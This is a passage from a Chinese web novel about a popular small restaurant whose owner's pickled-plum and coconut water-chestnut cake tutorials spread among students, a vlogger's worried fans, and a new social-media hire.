老板在身后看着，无声地笑了笑。 不一会儿，李子也卖得七七八八了，只剩下一些有瑕疵的，老板在一旁收拾着，忽然想起刚刚学生安利的那个庄记，他最近好像经常在一些学生的嘴里听到过。 莫非……真的很好吃？ 要不他也来试试？ 反正这些有瑕疵的李子也不会再拿出来卖了。 老板正收拾着，有学生气喘吁吁地冲了过来：“老板，你这还有李子吗？” “没了。” “什么没了我看你这不还有呢嘛？” “那些都是烂的，品相不好，别费钱了。” “没事，也就有一点点烂，能接受，我全都要了。” 老板一愣，人傻了。 不是，至于吗？为了腌个李子，烂的都买？这腌李子好吃到这个地步？ 既然这样，那他更要试试了。 老板护犊子似的：“不卖不卖，这些我要留着自己吃。” 学生：“？” …… 学生走后，老板当场就搜起教程跟着处理起李子来。 做好后一吃，眼睛随之瞪大。 他一个卖水果的，自然是水果的大部分吃法都试过，包括腌制做法。 只是没有一个配方能比得上现在这个。 老板吃得停不下来，最后不仅给视频点了个赞还给庄记饭馆点了个关注。 此时此刻的顾客群里，正热闹喧天： 再也不搞抽象了：[哎我真服了你们这群老六，别人还在看视频教程呢，结果你们一大群人偷偷摸摸溜去水果店买李子，店里的李子都被清空了，我去了个寂寞。] 每天都好困：[是真的离谱，我已经让水果店老板连夜多拿货了，不知道明天能不能到。] 养生girl：[哈哈哈聪明的人已经吃上同款腌李子了，真的好好的，酸酸甜甜辣辣的，唔～真香。] 明天还要早起：[吃过老板亲手做的李子，也吃过根据教程自己做的，来说说感受吧，教程很详细，做出来的也很好吃，比普通的腌李子要好吃多了，不过个人感觉还是老板亲手做的更好吃一点，不知道是不是心理作用。] 不想收到：[这个时候就要找一下变量了，会不会是辣椒面的原因？我这个辣椒面还是在学校超市买的，老板那个辣椒面应该是自己做的吧，香点也正常。] 谭清莹：[这么说就通了，估计就是辣椒面的原因了。] …… 群里面，买到李子并且按教程做好了的，都纷纷在群里晒出自己的成果，绝大多数都是做的辣腌李子，不过很快，有人发现不对劲了： 每天都好困：[那个‘不想上早八’，我眼熟你，你不是溪大的学生吗？为什么你还做了话梅李子？] 溪大宿舍严禁使用大功率电器，而做话梅李子需要用到锅。 虽然都知道不能使用大功率，但大家背地里都在偷偷用。 不想上早八：[什么大功率，我的小锅功率才200W，跟吹风机比差远了，也就用了那么一小会儿。] 别惹我：[就是就是，很赞同，因为我也做了话梅李子嘿嘿。] 别惹我：[两种李子我都做了，也吃过老板亲手做的，我来反馈一下吧，话梅李子的味道跟老板做的一模一样，完美复刻！大家可以多做这个，至于辣腌李子，确实差了点，估计就是辣椒面的原因。] 谭清莹：[所以老板能再出个辣椒面的教程吗？@庄凝冬] 萝卜糕：[辣椒面……做法应该挺复杂的吧，我觉得就算老板真的出了你们也不会跟着做哈哈。] 庄凝冬：[辣椒面看情况吧，可能会出也可能不会，你们先别报太大期待。] 倒不是庄凝冬不肯公布配方比，只是最近比较忙，也很难说后面会不会出。 庄凝冬想在有空的前提下，再慢慢考虑这个问题。 那貌似也只是顾客的口嗨，他们看到庄凝冬的回复也没有多失望，话题几乎都集中在腌李子上。 一群买不到李子的人在那哭诉着，这就导致已经吃上腌李子的人愈发嚣张，特别是一比一复刻了话梅李子的人，各种炫耀、各种凡尔赛，姿势层出不穷，不过很快，他们便乐极生悲了。 起初是有人同学被他们晒出的照片馋得受不了，开玩笑说要举报他们使用大功率，那群人一慌，一阵好说歹说下终于把人哄好了，结果没想到群里竟然还潜伏着宿管。 [说吧，你们都哪栋楼哪间宿舍的，还有哪个专业哪个班的？] 不想上早八：[宿管阿姨，您大人有大量，就放过我们一次吧，我们再也不敢了。] 有人求饶，有人却非要当显眼包，嘴硬道：[谁说我用大功率了？那冰糖和话梅是我用热水弄的，这热水连泡面都能煮，我煮个冰糖话梅怎么了？] 结果宿舍阿姨立马截图了他一分钟前才炫耀过的话—— [我的话梅李子还冰镇过了，巨好吃嘿嘿。] 宿管阿姨：[没使用大功率，那你说说你的话梅李子是怎么冰镇的吧，还是说，它是被你本人的冷幽默冷到的？] 群里顿时哄笑一片，而当事人立马滑跪，迅速加入到求饶行列，有人甚至搬出了庄凝冬帮忙说情。 庄凝冬不太了解这些大功率的规章制度，也不知道使用过后会有什么后果，不过看前面的顾客说，连吹风机学校都是睁一只眼闭一只眼，那其他小电器应该也不算什么大事吧。 庄凝冬想了想，还是帮他们说了下情：[阿姨，要不这次就算了吧，让他们保证下次不再犯就好了。] 其实隔着网络也逮不到人，宿管阿姨见那几个学生认错态度好了点，这件事便就此揭过了。 只不过以后，这群人都不敢随意乱晒了。 谁能想到庄记的顾客群里竟然还有宿管呐？！ 不过换个角度想，还好只是宿管，而不是校长…… * 于妍就在本地，所以没课的时候她都跑回家里住。 这天晚上，她百无聊赖地玩着手机，发现庄记在G站也创了个号，并发了美食教程。 于妍率先点了个关注才看起视频来。 视频不仅画风柔和，色调清新，那拍摄手法和收音特别好，瞅着一颗颗果实圆润的李子掉入清澈的水里，再被压得爆汁，还有那被煮的咕噜冒泡的冰糖话梅，于妍把自己看馋了。 原本她只是想看看的，没打算动手的，但是看完之后，她吞了吞分泌出来的口水，开始蠢蠢欲动了。 看起来好酸甜好脆好好吃…… 教程也很简单…… 于妍被馋得受不了了，说干就干，立马在平台上下单了一些李子。 她想了想，又买了些制作椰汁马蹄糕的材料。 等东西一送到，于妍马上从沙发上下来进厨房一阵忙活。 厨房传来一阵持续不断地声响，于母奇怪地过去看了眼，确认在里面忙活的是于妍好，人有点没反应过来。 “妍妍啊，你在干嘛呢？是饿了吗？” 照理说，饿了也不该自己进厨房做吃的。 因为于妍压根就不会做饭。 以前倒是学过几次，不过都以失败告终，见自己实在没这方面的天赋后，于妍也放弃了。 所以当于妍说她在做椰汁马蹄糕和腌李子时，于母怀疑自己耳朵出了问题。 “你确定你会做吗？” “这次我非常确定，你信我妈妈，”于妍神神秘秘地保留了一个悬念，“妈妈你就去坐着等我的成果吧，绝对让你满意。” 见状，于母不再多言，只是离开厨房前，她在给自己做心理准备，想着等会儿不管于妍做出来的东西都多难吃，她都一定要吃掉。 还是腌李子的做法简单，只需要洗好，处理好放到一旁腌制就行了。 趁着腌制的时间，于妍也在做椰汁马蹄糕。 庄记老板出的视频是真的详细，就连于妍这种厨房小白在制作过程中都特别顺利。 腌李子闻起来酸酸甜甜的，光是这股味道就足够让人口齿生津，还有那个马蹄糕，一层层的，也太晶莹剔透太好看了！ 第一次做就这么成功，于妍忍不住给它们拍了张招，顺便发了个朋友圈： [一次成功/耶，好像体会到了下厨的乐趣和成就感。] 于妍发完朋友圈就放下了手机，收拾好厨房卫生，才端着腌李子出去。 椰汁马蹄糕得冷藏过才能吃，就不端出去了。 李子被压得爆开几条裂缝，经过腌制，足够入味，话梅李子表面莹润有光泽感，在水里浸泡着，看着就让人想吃。 还有那个辣腌李子也是，闻起来酸酸辣辣的，于妍做的东西好像没自己想的那么差。 于母连忙戳了这两种李子吃了起来。 辣腌李子有酸甜辣三种口味，均相得益彰，融合得很好，脆得异常爽口。 话梅李子则是酸甜得可口，不过估计还没入味，所以总体来说有点淡，不过也很好吃了，足够让于母感到惊喜。 她一口一个李子吃得停不下来：“妍妍啊，你跟哪里的教程学的？怎么做得那么好吃呢，太爽口了。” 于妍嘿嘿一笑，这才揭秘：“庄记出了腌李子和椰汁马蹄糕的教程，特别详细，还有在制作过程中可能会遇到的问题以及解决方法，老板人真的毫无保留，所以连我这个菜鸡都能做出顶级美味了。” “原来是庄记，难怪……”于母说着，却还是为自己的女儿高兴，拿出手机拍了张照也发了个朋友圈，配文： [我女儿做的，特别好吃～] 于妍立马掏出手机给于母点了个赞，然后才发现于父点赞了她刚发的那条朋友圈，并评论了一个大拇指，说棒，一看就有他的风范。 于妍：“……” 母女俩边吃边聊天，停不下来，最后还是于妍说感觉冰过会更好吃，两人经过一番纠结，才把剩下的拿去冰箱冰着。 要不然，她们非得今晚就吃完这些李子不可。 等于父应酬完回来，已是深夜。 次日一早又要去公司上班，早上做早餐时，于父打开冰箱，才发现里面放了些李子，还有椰汁马蹄糕。 女儿果然是贴心的棉袄，还知道留些给老父亲吃。 于父乐呵着，吃完早餐就把那些李子和马蹄糕带去了公司。 上班审阅文件签字的时候，于父就时不时戳一个李子边吃边签字，或是叉上一块晶莹剔透的马蹄糕。 李子酸甜可口，马蹄糕椰香浓郁，口感弹牙又脆，特别好吃。 都不知道妍妍的手艺是什么时候进步那么大的。 真的太好吃了。 助理恰好此时走进办公室，看清老板在吃什么之后，助理愣住了。 腌……腌李子？ 那不是路边的小吃吗？他家老板竟然会吃？ 还有那椰汁马蹄糕，看包装也不是点心铺子里的。 这…… 于父却坦然地接受着助理的打量，还主动分享给对方吃。 待对方吃完，面露惊叹，问是在哪买的之后，仿佛正中于父下怀。 于父笑呵着，语气尽是炫耀：“这个啊……这个外面可买不到，它们都是我女儿特意为我做的，好吃吧？” 还故意加重了特意两个字。 助理：……酸酸的，肯定是李子吃多了。 而另一边，刚睡醒打开冰箱想要找李子和马蹄糕吃的于妍母女俩……？？ 那么大一罐的腌李子和那么大一盒的马蹄糕呢？ * 这天，有好多到庄记买饭的顾客，从庄记出去以后都到附近的水果店买了许多李子。 莫名其妙来了一堆顾客都要买李子，任婶觉得奇怪，就多问了一句，这一问才知道原来都是庄家丫头的功劳。 今年产的李子多，加上偏酸的口味，在一众水果里不太受人喜爱，起初任婶还担心会卖不出去，不过现在嘛…… 她觉得她也要给自己留点做腌李子咯。 下午，江映槐还在厨房练刀工，电话忽然响了，一听，才知道是自己买的洗碗机到了。 这个洗碗机是跟庄凝冬商量过才买的，算是当作拜师成功的礼物，一开始庄凝冬不太想收的，觉得过于贵重。 早就猜到庄凝冬会拒绝，要不是洗碗机体型大，比较占地方，而厨房里的空间小，得小心翼翼地使用，江映槐都想直接买了再说。 不过后面江映槐动之以情晓之以理，说有了洗碗就可以省出很多时间去做别的事了，特别是她还要多花时间在刀工上。 江映槐又说了很多遍这个洗碗机对她来说真的不贵之后，庄凝冬才松了口。 现在，洗碗机终于送到，庄凝冬回楼上了，季初曼也在厨房里忙活，大厅没人，江映槐便到门口领着人进来到指定位置安装。 尺寸是提前丈量过的，刚好能放下。 不多时，庄凝冬从楼上下来，看着这个洗碗机运作了一遍。 脏碗筷放了进去，不过一两分钟的时间，再出来时，已经干净如新。 确实高效。 有了它，不仅能节省时间，甚至能节省新购一批碗筷的钱。 店里碗筷不够，可以马上收其他顾客用完的碗筷，立马洗干净再投入使用，倒是不用急着买新碗筷了。 一旁的季初曼看到后也不禁感叹：“这也太方便了，被种草了，这个牌子有没有小一点的洗碗机啊？我也想买个回家给我妈用。” 江映槐：“有有有，你等下，我给你发个链接。” 有了洗碗机，那她就有更多时间能花在练刀工上了，江映槐美滋滋地想。 忙活间，江映槐突然想起自己还没转发庄记的教程视频，她昨天还想着等庄凝冬创好号就第一时间去关注的，结果剪完视频被其他事一打岔就忘了。 于是，连忙登上了自己的账号，给庄记点了关注，将腌李子和椰汁马蹄糕的两条视频教程都转发到了自己的动态上。 她的消息一直多得看不完，江映槐一般都很少看，所以这次登上账号后，她也没查看那些消息。 转发完，江映槐就放下手机去忙了。 也因此没有看到其他较好的美食up给她发了微信消息。 营业时间，一开门，提前拍好的队伍便整齐地走了进来。 江映槐一如既往地点着单，一切如常，直到人群中忽然有人大喊了一句： “小槐！真的是你！没想到你真的在这！” 第55章 第55章 自从江映槐作为up主的身份曝光后，就越来越多顾客开始熟络地喊她小槐，有些顾客打招呼还会玩她的梗，比如开玩笑地问她“今天骂人了没”、“今天是不骂人的第几天”等等。 所以人群中那突兀的一声“小槐，真的是你，没想到你真的在这”并未能在江映槐这掀起波澜。 江映槐本人也还没意识到事情的严重性，她淡淡地看向声源：“麻烦注意秩序，请勿大声喧哗，要买东西就好好排队。” 来人都快要急死了，一看本人还是这副泰山崩于前而色不变的模样，更是两眼一黑。 “还在这注意秩序呢，你知不知道你消失的这段时间，你的粉丝差点就报警了！” 江映槐神色茫然：“嗯？？什么情况？” 意识到出事了，江映槐忙唤来季初曼先忙着，然后自己跟来人退到一边，搞清楚来龙去脉。 江映槐这才知道原来在自己没上网的这段时间里，竟然闹出了这么大一个误会。 差点就上演了消失的up主。 可她也不是故意的，到这之后整天就想着怎样才能留下、怎样才能拜师成功、怎样才能使自己进步，种种情况下，她一时把粉丝们抛之脑后也是情有可原的嘛。 那群粉丝也真是的，自己不就停更了一段时间嘛……江映槐在心里嘀咕着，不过吐槽归吐槽，他们也是因为担心自己而已。 江映槐拿出手机正要报个平安，才发现已经有一些同为美食up的好友给她发来了消息： [hello？小槐你人呢？发生什么事了怎么突然消失不见了？不会出什么事了吧？看到消息记得吱一声啊，你的粉丝都找到我这儿来了。] [？？什么情况啊小槐，你的粉丝说你突然不见了，不会真出什么事了吧你可别吓我。] …… 江映槐赶紧一一回复这些好友。 与此同时，站在旁边的那位粉丝也忙拿出手机给大伙汇报了消息： [兄弟们姐妹们，我见到小槐了，她人真的在溪城，大家放心吧，没出什么事，一切好着呢。] 结果其他粉丝却说，在他之前，他们已经确认小槐平安了。 来的粉丝叫景同，他看到消息后，难免感到诧异，怎么比他还快确定，难道有人比他快了一步到来？ 细问后才知道，原来在他之前，江映槐的账号更新了两条动态。 景同一看，那两条动态还是转发他身处这家店铺的视频。 不是，都登账号转发视频了，难道就不能顺便回应一下粉丝们的关心吗？ 景同差点吐血。 对此，江映槐虽然心虚却理直气壮：“私信太多，我都不怎么看的，所以也就没看到他们给我发的消息，而且你都不知道，我在这里很忙的，转发完视频就得干活了，哪有时间看那些私信啊。” 景同：“……你先别说了，赶紧先发个回应吧。” “在编辑了在编辑了。” 两分钟后，小槐不骂人的第一天更新了一条动态：[非常抱歉给大家带来不必要的麻烦，这段时间由于我的疏忽，让大家担惊受怕了，对不起。 大家不用担心，我个人目前非常安全，没出什么意外，也没被绑架，刚刚更新动态却没回你们是因为在忙，没看到你们的私信，不是故意不理的，大家放心吧，这种情况不会再有下次了。 如果可以的话，能麻烦你们动动手指头，给我刚刚转发的那两条视频点个赞吗？顺便给那个账号点个关注呗，爱你们～] 这条动态才发出，便一堆粉丝蜂拥而至： [呜呜呜没事就好，如果你出事了，我去找谁骂我啊……] [既然没事为什么不更视频？！你知道我这段时间有多难熬吗？没有一天收到你更新的推送通知，我还以为G站出问题了，谁知道你是真的没更，真是气死我了！] 此时G站的官方运营闻着味就来了：[亲亲，G站的通知一直都是没问题的哦，技术部的小哥能力很强哒～] 小槐不骂人的第一天：[我现在忙着呢，短时间内应该不会更新视频了，至于什么时候更，暂时说不定，大家不用等。] 其他粉丝一看，再结合她前面的话，顿时急了： [不是，你真去当服务员啦？你是嫌生活太无聊，想要给自己找点有挑战性的事情做？] [我就问你一句，你没惹事吧？惹了事也不要紧，别说我们是你粉丝就行。] [老婆你怎么突然跑去当服务员了，是不是缺钱了？缺钱了的话你跟我说一声，我养你啊TAT，能不能回来更视频？槐子，没有你我怎么活啊槐子！] [还蛮敬业的嘞，需要帮忙宣发才上号，置我们粉丝于何地？可恶，现在就惩罚你连更十个视频，我们可以当做什么也没发生。] 江映槐想让他们也喜欢一下庄记，便多说了几句：[也不单纯是去当服务员，我还拜师了，庄记老板就是我师父（*^▽^*），师父她人非常好，拜托你们帮忙点个关注啦，视频的话真没法保证什么时候更，我看什么时候有空就拍一个吧，先这样，我得去忙了。] 江映槐说完，还是在手机页面停留了一会儿，看看有没有说庄记不好的，结果就看到那群粉丝说—— [啊？小槐拜师？小槐还需要拜师吗？拜什么师啊？这个庄记的老板在蛋挞那个视频出过镜吧，做的菜看起来就很好吃，小槐是要去学厨艺？] [我看不是，你们好好想想，她是那种痴迷厨艺的人吗？我看她是为了刀工吧。] [如果是这样的话，那就不奇怪了，你们还记得她前段时间把直播回放全删了的事吗？那些直播回放都有她练刀工的片段，我怀疑她是不想让她师父看到那些片段，才一夜之间删掉的。] 江映槐的心随着这句话紧紧提了起来，这帮人怎么那么聪明？！ 然而接下来的话才更让她感到窒息。 [啊哈哈哈哈老婆好可爱，不过，她难道不知道我们之中有人会把她的每场直播都录下来吗？] [笑死我了，删了，但没完全删掉。] [放心吧小槐，既然你不想让你师父看见，那我一定会让她看见的，所有的直播回放已经打包私信发到庄记的账号里了/比心。] …… 江映槐绝望起身，敷衍地招待了景同， 在江映槐跟粉丝汇报的时候，景同也在打量着这家小饭馆。 室内装潢中规中矩，环境干净整洁，也就温馨了点，其他普普通通。 景同虽然也关注了蛋挞，但他还是更偏向于江映槐，是江映槐的粉丝。 所以尽管提前在蛋挞那知道了这家饭馆味道非常好，他也不明白小槐为什么一定要留在这里。 不见得是因为味道太好吃，毕竟以江映槐的条件，肯定吃过不少五星级酒店，景同就不信它们都不如这个苍蝇小馆。 唉，其实挺替小槐不值的。 景同正腹诽着，却见江映槐绝望起身，敷衍地让他自己想吃什么就写下来，由她请客。 不管怎么说景同也是为了确认自己的安危才千里迢迢来一趟。 江映槐请他吃顿饭也是应该的。 景同还没说什么，江映槐就去忙了。 景同一看，这家店那么多人，却只有三个人在忙活，这不得忙成陀螺吗？ 这么忙，也不知道才赚几个钱。 一想，景同就更替江映槐不值了。 后面，庄凝冬得知了这件事，也得知了景同风尘仆仆赶来只为确认江映槐安全，就留景同下来吃了饭。 “你啊你，”庄凝冬对江映槐无奈却纵容，“下次注意点别再犯这样的事了，你的粉丝们没怎么吧？有没有人骂你？” “这倒没有，放心吧，就算他们骂我，我也会骂回……”江映槐对上庄凝冬的目光，立马改口：“就算他们骂我，那也是我有错在先……” 奶奶也在担心她：“你家里人应该知道你来这里了吧？可别让他们担心。” 江映槐眼神闪烁，张了张嘴，终究只说了句：“他们知道的。” 一旁的景同看到江映槐在庄凝冬面前这副模样，也不免觉得惊讶。 这……不得不说，她们之间氛围挺好的，与其说来打工，不如说是来交朋友。 当景同吃过庄凝冬做的饭菜后，他整个人都为那股美味感到震撼。 先前那种替江映槐感到不值的想法早已烟消云散。 庄记老板长得好看，不仅人温柔，厨艺还是一流的，只要来了这里，每天就能吃到顶级美味，工作氛围还那么好。 什么不值？这可太值了好吧！ 景同内心蠢蠢欲动，话也就这么问了出口：“请问，你家还招服务员吗？” 江映槐：“？” 谁说他是为了确认她安危才来的，这明明是来抢饭碗的！ 没等庄凝冬回答，江映槐就面无表情道：“不招，已经够人了，你吃完这顿饭就走吧，还有，这顿饭钱麻烦出一下。” 景同：“？” 后续是庄凝冬和江映槐都没收他的饭钱，当然，也没收他人。 念在对方辛苦来一趟，庄凝冬还打包了一些腌李子让他带走。 腌李子清脆爽口，每个都饱满多汁，酸酸甜甜，饭前适合开胃，饭后适合解腻，总之无论什么时候都可以吃，特好吃。 景同吃得停不下来，反手就把庄记发的腌李子教程加入了收藏夹。 …… 晚上吃完饭，江映槐在拖地，不经意间扫到庄凝冬手机停留的界面跟G站非常像，她整个人一顿，立马飞身过去，紧张地问她在看什么。 庄凝冬：“看看有没有人骂你，如果有的话就帮你说说话，怎么了？” 江映槐心头一动，撒娇道：“师父你人真好～” 随后又叫她别看私信。 庄凝冬不解：“怎么了？私信有什么问题吗？” 江映槐胡说道：“有些粉丝很损的，会看你好欺负就给你发恐怖的图片，我就被吓到过，所以很少看私信，你也别看了。” “可是我看他们都挺友好的，不像这种人啊。” “别管……总之，你别看就是了。” 虽然有很多地方想不明白，不过庄凝冬还是应下：“好吧。” 她也没什么时间看私信。 庄凝冬看着日历，离答辩那天越来越近了。 这段日子有了“没意思”的帮助，原主写的论文庄凝冬已经啃得七七八八了，她很自信能通过答辩，不过还是会有点小紧张。 毕竟上辈子没经历过这种事，没经验。 庄凝冬看着日历。 他们学院答辩晚，和安排在六月初的毕业典礼隔得很近。 而溪城去万宁又路途遥远，与其短时间内往返两次，不如直接在那住到开完毕业典礼再回来。 不过这样的话，这段时间店铺就没法营业了。 庄凝冬托腮，陷入思考。 要在这么短的时间招个厨子吗？ 招厨子不是难事，难就难在不仅要有经验、各方面都不差，还得在这么短时间内学会店内所有的菜式，并复刻出八九分的味道。 庄凝冬想了想，觉得几乎不可能。 算了，招不到就算了，忙了那么久，刚好给自己、给初曼和映槐她们也放个小长假。 不过庄凝冬还是将招厨子的事发布到网上，还手写了一份准备明天贴到门外。 不是为了现在，是为了将来。 日后店里的菜总不能都由她做，不然随着菜式和份量的增多，她一个人也做不来。 次日一早，江映槐看着庄凝冬贴招聘启事：“厨子？其实我也可以当厨子的啊，我的厨艺也不差吧，就是有些要切得规整点的食材需要别人帮忙而已。” 这话不假。 从第一天教江映槐干活时庄凝冬就看出来了，江映槐厨艺不差，多花点时间培训，必定能将菜式做出差不多的味道。 不过也正如她所说的，有些食材需要别人帮忙。 而店里，恰好没有其他擅长刀工的人。 所以还是不行，还是得招人。 * 短短不到一个月的时间，陆向安已经换了两份工作了。 这不，今天才从第二份工作中逃出来。 他的舍友们知道后，都挺不可思议： 廖俊：[啊？这才多久，你又跑路啦？] 李辉：[那你接下来打算去哪啊？] 孙飞：[不过你那两份工作，确实挺一言难尽的，换作我我也干不下去。] 陆向安的第一份工作，单休，本来单休就跟没休没什么区别了，他们那还要24小时待命，牛马也不是这样压榨的。 陆向安果断跑路。 然后第二份工作，倒是变成大小周了，不过周六日加班也是常事，而且上级非常会PUA，得亏陆向安能做到左耳进右耳出，但凡换个人，早都抑郁了。 陆向安：[我觉得我领导真的很有毛病，说我的营销方案不行，然后他自己瞎改一通，发现效果更差了，就开始怪我没阻止他了。] 廖俊：[典，太典了，你的运气也太差了，怎么找到的都是这样的工作？] 孙飞：[以你的能力，属实不应该，要不你换个地找工作吧，溪城小，好工作本来就不多，话说你要不要来我这，我给你内推，过了面试之后内推的钱我跟你分一半啊。] 李辉：[是啊，你赶紧换个地方吧。] 他们一宿舍，孙飞和李辉都回了他们老家那边，找了个还算不错的工作，廖俊和陆向安则都留在了溪城，不过廖俊好一点，找到的工作比陆向安好。 不会挂羊头卖狗肉。 廖俊：[那你接下来打算怎么办？] 陆向安：[打算先去庄记大吃特吃一顿，靠，自从工作以后我压根就没什么时间吃庄记，天天吃公司附近的外卖，难吃得要死，吃不好还天天累个半死，我已经要瘦脱相了。] 其余三人：[……] 陆向安想了想，扯完嘴皮子还是认真回答道：[已经在准备换地方了，还是想在溪城尝试一下，如果再找不到的话，我就收拾东西回老家了。] 消息发完，陆向安排着的队伍前移进了店铺里。 他眼睛扫过门外的招聘启事，没什么想法，抬脚跟着队伍走了进去。 最近没上什么新菜式，不过对陆向安来说，由于太久没吃，什么都一样新：） 专属于他的东坡肉必须来一份！ 还有菊花豆腐、竹筒饭…… 各种菜式的香味依旧异常浓郁，陆向安闻着竟意外的想哭。 真的太惨了，这段时间都没好好吃过一顿饭。 好香，这绵软入口即化的东坡肉，浓浓的肉香跟油香，全方位吊打在公司吃过的所有外卖。 竹筒饭也是有股醇厚的咸香，好吃得让人恨不得连舌头都吞下去。 而顺滑无比的菊花豆腐入口余韵绵长，刚好可以用来解腻。 “太好吃了……”陆向安惊叹地眯起眼睛，觉得自己疲惫灵魂终于经过了新的洗涤。 好想每顿都吃到这么好吃的菜。 每顿…… 也是这个瞬间，陆向安脑海中忽然产生了一个不可思议的想法…… * 饭后，江映槐刚给前台的两条小锦鲤换了水，看见有人进来，礼貌道：“不好意思，店铺已经打烊了。” “我吃过饭了，我是来找工作的。”陆向安说。 江映槐看了他一眼，有些怀疑：“你会做饭？” “不会。” 不会。 那就是只能干一些她也会干的活。 丢，又来一个抢饭碗的。 江映槐顿时戒备起来。 “现在店里只缺有经验的厨师，你又不会做饭，还是别浪费你我的时间了。” “谁说你们店里只缺厨师的？我知道有个职位还空缺，”陆向安说，“你让你老板出来，我想跟她谈谈。” 江映槐正要朝里一喊，庄凝冬刚好从里面出来，她认得陆向安，最早帮助过自己的人。 得知来意后，庄凝冬便坐下来跟他谈了谈。 “我觉得你们店里还缺一个运营。” 庄凝冬：“运营？” “对，据我所知，庄记目前在微博和G站都有账号，而且平时您好像没怎么打理，像微博和G站上面有些顾客的疑问，就没及时得到回复。” 这个问题确实是庄凝冬一直以来烦恼的点。 她想给顾客更好的体验，但是自己也的确没空，无法做到时刻盯着回答。 “另外，我知道以前还发生过这样一件事，店铺在网上被其他人乱带节奏却没法做到及时澄清，导致店铺声誉受损，而请一个专业的运营来，除了能解决上述情况之外，还能提升知名度，扩大顾客群体……” 陆向安条理清晰地列举了好一些运营的好处。 庄凝冬在一旁听着，觉得不无道理。 而江映槐则—— “你说的这些我就能做啊，而且论起运营账号，我好像比你更厉害。” 江映槐虽然是怕对方来抢饭碗，但也不故意找茬，她就实话实说而已。 陆向安：……忘了还有这尊大佛在。 就在陆向安觉得没什么希望时，庄凝冬开口了，是对江映槐说的话： “你现在又忙这又忙那，还想来管理账号？是不想当徒弟了？” 江映槐瞪大眼睛：“怎么可能？！” 庄凝冬笑：“那你就好好完成你的主要任务，别好不容易用洗碗机腾出了一点时间，就又抢些不相干的活来干。” 师父这都是为了她考虑，江映槐这么一想，好受多了，便欣然应下：“好吧，师父说什么就是什么，我都听师父的。” 庄凝冬思忖了下，决定还是让陆向安来试试，反正以店铺现在的营收状况，多招一个人也没什么压力。 更何况，现在也确实需要这样一个人。 没想到就这样通过了，陆向安人还有点恍惚，后续谈工作细节时，他也有点走神，一心只想着自己的要求，等逮到时机，便立马问了出口： “在这里上班的话，能不能每顿都吃到店里的菜？只要能每顿的都吃到，工资我可以少拿点的。” 江映槐：“当真？” “当真。” 江映槐下巴一抬：“可以，我替我师父答应了，那你的钱工资就少点咯。” 陆向安隐隐觉得不对，果不其然，下一秒就听见江映槐笑了声：“其实只要在这里上班的员工，都是包吃的，没想到吧。” 陆向安：“……” 最后庄凝冬当然没减少陆向安的工资，她还笑着补充：“只包午餐和晚餐，早餐的话，店里不提供，你想少拿点钱来换也不行。” …… 就这样，陆向安成了庄记的一名员工。 谈好一切工作细节，从庄记出来时，陆向安整个人都是神清气爽的。 他马上跟舍友们分享了这个好消息： [兄弟们，我找到新工作了！] 李辉：[？你不是说你去庄记吃饭了吗？怎么才一顿饭的功夫就又找到工作了？] 廖俊：[你别是急病乱投医随便找的吧？] 孙飞：[什么工作？] 陆向安：[在庄记当运营。] 其他三人：[？？？] 第56章 第56章 孙飞：[啊？？我没看错吧，庄记？？庄记不是一家饭馆吗？还有运营这个岗位？你怎么会突然想到去庄记的？] 李辉：[虽然庄记是很好吃，但你也没必要为了一时的口腹之欲就冲动入职吧，以你的能力，好好找一下，进一些规模较大、规章制度较完善的公司不成问题的啊。] 廖俊：[是啊，庄记说到底只是一家饭馆，听起来就不适合咱们这个专业发展，而且它在网络运营这方面的体系还不完整吧，既难学到东西，还对未来辞职跳槽都不友好，你要不再考虑考虑？] 陆向安：[不用考虑了，我想得很清楚了，其实庄记的其他方面没你们想得那么差劲，它的两个平台账号我都观察过的，粉丝粘性大，活跃度高，几乎没有僵尸粉，各种数据转化都很高，光是这个已经吊打网上一大批号了。] 陆向安：[像咱们这种实习生，到别的地方哪有管理这种号的资格啊？而且他们还瞧不起实习生，各种抨击你的质疑和方案，完全没法大展身手。] 陆向安：[总之，庄记对我来说就是一次很好的历练机会。] 见他意已决，三个舍友也不再多说什么了，只是问了些跟工作有关的基本问题，比如说薪资待遇等方面的内容。 庄凝冬起初对这个岗位不熟悉，不知道市场的普遍待遇在什么范围，还是当场查的。 由于陆向安来面试这个念头起得过于突然，自然也没准备有纸质简历，他也是当场给庄凝冬看的电子版。 庄凝冬看过后，在各种待遇上都是对标其他同行，给出了比市场普遍待遇都要高的条件。 其他三个舍友一听，短暂沉默过后同时爆发出了不可思议的惊叹—— 廖俊：[卧槽这么好？！这真的是一个还没毕业的实习生就能拥有的待遇吗？] 李辉：[我靠我靠，不得不说刚刚是我声音大了点，这样的工作能不能给我来一打啊？] 孙飞：[怪不得都说苦尽甘来呢，难怪你小子前面那么倒霉，原来好的在后头等着。] 陆向安：[最重要的是，包午餐和晚餐，这就相当于每天不用排队就能吃到庄记，简直爽飞了！] 廖俊：[羡慕的泪水从嘴角流了下来，不多说了，我就问问庄记还缺运营吗？] 陆向安：[缺厨子。] 孙飞：[这不正好适合廖俊吗？就他打游戏那下饭操作，天生的厨子啊，看得我能连干三大碗饭。] 廖俊：[……？傻逼滚。] …… 陆向安刚辞了职，现在正没事干，原本他想在第二天就去庄记上班的，不过被拒绝了。 理由是店里没有电脑。 陆向安当时看到这个原因人都傻了。 离谱，但又合理。 提起这个，庄凝冬也是有点窘的。 目前店里的正常运作不需要电脑，加上运营岗位的人招得有点突然，她都没有事先了解和准备过，所以也在情理之中。 当意识到这个问题时，她立马就购置了相关设备，这些设施还特意向江映槐请教过。 好在江映槐对这方面也有一定程度的了解，很快就帮庄凝冬解决了这方面的问题。 不过江映槐似乎有点看陆向安不顺眼，忘着庄凝冬买设备的时候，她语气酸溜溜的：“就他那点工作内容，手机就能解决了，哪需要这么高级的硬件设备。” 庄凝冬笑着安抚了她几句，江映槐才舒服了点。 所购置的设备是次日达。 陆向安的入职时间便往后挪了一天。 因为店里没有其他位置的缘故，陆向安的办公点就在收银台的一旁，在收银系统隔壁。 陆向安初来乍到，庄凝冬给他简单说了一下店铺的基本情况，不过也没什么要说的，毕竟他不是后厨人员。 庄凝冬交代完，把店里的两个账号都给到陆向安之后就去忙别的事了。 上班第一天基本没什么事干，陆向安就在那捣鼓账号，看看这个看看那个。 等到了营业时间，有熟悉他的顾客一眼认出了他，点单的同时也不忘跟他唠嗑两句。 “哎，你不是之前那主播么？怎么坐收银台这里来了？闲着无聊来帮帮忙啊？” 陆向安正分析着各项数据：“什么闲着无聊？这是我的工作。” 顾客愣了好一会儿才反应过来：“啊？你到庄记工作啦？做什么，做主播吗？在上面喊321上链接？” 陆向安：“……我是运营。” 